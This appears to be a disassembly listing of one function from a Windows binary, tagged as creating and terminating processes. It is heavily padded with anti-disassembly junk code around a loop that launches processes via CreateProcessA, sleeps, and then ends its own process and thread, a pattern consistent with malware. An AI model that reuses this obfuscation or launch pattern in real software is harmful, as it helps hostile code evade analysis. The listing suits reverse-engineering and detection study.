Function at 0x5d5151
Capabilities:
Create process on windows
Terminate process

Disassembly:
jae 0x5d4f25
jmp 0x5d4f20
call fcn.005d4f27
jae 0x5d4f20
add esp, 4
jmp 0x5d4f2c
dec dword [esp]
jno 0x5d4f31
jns 0x5d4f1c
jp 0x5d4f35
add esp, 4
popf
jmp 0x5d4f3c
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d4f55
mov ebp, 0x750374a5
add eax, ebp
je 0x5d4f5a
jne 0x5d4f5a
call 0x101d82ae
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d4f74
jne 0x5d4f73
call 0x83613ffb
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5d4f82
jne 0x5d4f82
sar dword [ebx + eax - 0x15], 1
add edx, ecx
jl 0x5d4f87
jmp 0x5d4f89
je 0x5d4f84
pushf
push 0xa
jae 0x5d4f96
jmp 0x5d4f91
call 0x5d4f98
jae 0x5d4f91
add esp, 4
jmp 0x5d4f9d
dec dword [esp]
jno 0x5d4fa2
jns 0x5d4f8d
jp 0x5d4fa6
add esp, 4
popf
jmp 0x5d4fad
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d4fc6
invalid
je 0x5d4fcb
jne 0x5d4fcb
call 0x101d831f
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d4fe5
jne 0x5d4fe4
call 0x8361406c
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5d4ff3
jne 0x5d4ff3
lcall 0x749a, 0x3eb037c
sti
jl 0x5d4ff8
jmp 0x5d4ffa
je 0x5d4ff5
pushf
push 0xa
jae 0x5d5007
jmp 0x5d5002
call 0x5d5009
jae 0x5d5002
add esp, 4
jmp 0x5d500e
dec dword [esp]
jno 0x5d5013
jns 0x5d4ffe
jp 0x5d5017
add esp, 4
popf
jmp 0x5d501e
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d5037
jo 0x5d4fd1
je 0x5d503c
jne 0x5d503c
call 0x101d8390
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d5056
jne 0x5d5055
call 0x836140dd
rol byte [ebx + eax*4], 0xf0
add eax, 0x6a046a
xor eax, 3
add eax, 4
xor eax, 5
push 4
push 0
mov edx, dword [ebp - 0x18]
push edx
call fcn.005d8cb0
add esp, 0xc
je 0x5d5074
jne 0x5d5074
add byte [ebx + eax - 0x15], bh
add eax, dword [eax]
jl 0x5d5079
jmp 0x5d507b
je 0x5d5076
pushf
push 0xa
jae 0x5d5088
jmp 0x5d5083
call 0x5d508a
jae 0x5d5083
add esp, 4
jmp 0x5d508f
dec dword [esp]
jno 0x5d5094
jns 0x5d507f
jp 0x5d5098
add esp, 4
popf
jmp 0x5d509f
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d50b8
inc ebp
add byte [ebx + eax + 0x75], dh
add eax, ebp
je 0x5d50bd
jne 0x5d50bd
call 0x101d8411
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d50d7
jne 0x5d50d6
call 0x8361415e
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5d50e5
jne 0x5d50e5
arpl word [ebx + eax - 0x15], di
add esp, dword [ebx + 0x74]
sti
jl 0x5d50ea
jmp 0x5d50ec
je 0x5d50e7
pushf
push 0xa
jae 0x5d50f9
jmp 0x5d50f4
call 0x5d50fb
jae 0x5d50f4
add esp, 4
jmp 0x5d5100
dec dword [esp]
jno 0x5d5105
jns 0x5d50f0
jp 0x5d5109
add esp, 4
popf
jmp 0x5d5110
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d5129
sbb ah, byte [ebx + 0x74]
add esi, dword [ebp + 1]
je 0x5d512e
jne 0x5d512e
call 0x101d8482
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d5148
jne 0x5d5147
call 0x836141cf
rol byte [ebx + eax*4], 0xf0
add eax, 0xd068056a
add byte fs:[eax], 0xe8
arpl si, sp
invalid
xor eax, 3
add eax, 4
xor eax, 5
push 5
push 0x8264d0
call fcn.005d37c0
add esp, 8
mov dword [ebp - 0x38], 6
call fcn.005b35fd
cdq
idiv dword [ebp - 0x38]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
add eax, 2
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x15c]
call 0x5dd2a0
mov dword [ebp - 0x14], 1
jmp 0x5d5199
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x38]
add edx, 1
cmp dword [ebp - 0x14], edx
jg 0x5d5223
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x30]
jne 0x5d51da
lea ecx, [ebp - 0x94]
push ecx
lea edx, [ebp - 0x21c]
push edx
push 0x8266e0
push 0
push 0
push 0
push 0
push 0
push 0x8264d0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x5d521e
mov ecx, 0xe967d2fc
push ecx
lea ecx, [ebp - 0x60]
call fcn.005d79d0
mov dword [ebp - 0x3c], eax
lea edx, [ebp - 0x94]
push edx
lea eax, [ebp - 0x21c]
push eax
push 0x8266e0
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea ecx, [ebp - 0x60]
call fcn.005d83d0
jmp 0x5d5190
je 0x5d5228
jne 0x5d5228
mov ebx, 0x3eb037c
mov ebx, 0x9c66fb74
jl 0x5d522d
jmp 0x5d522f
je 0x5d522a
pushf
push 0xa
jae 0x5d523c
jmp 0x5d5237
call 0x5d523e
jae 0x5d5237
add esp, 4
jmp 0x5d5243
dec dword [esp]
jno 0x5d5248
jns 0x5d5233
jp 0x5d524c
add esp, 4
popf
jmp 0x5d5253
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d526c
sub al, 0xbb
je 0x5d5271
jne 0x5d5271
call 0x101d85c5
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d528b
jne 0x5d528a
call 0x83614312
rol byte [ebx + eax*4], 0xf0
add eax, 0xfa068
add bh, bh
adc eax, sym.imp.KERNEL32.dll_Sleep
xor eax, 3
add eax, 4
xor eax, 5
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x128]
call fcn.00582e10
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xf8]
call fcn.00582e10
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x140]
call fcn.00582e10
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xc8]
call fcn.00582e10
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x15c]
call fcn.005dd1e0
jmp 0x5d55f1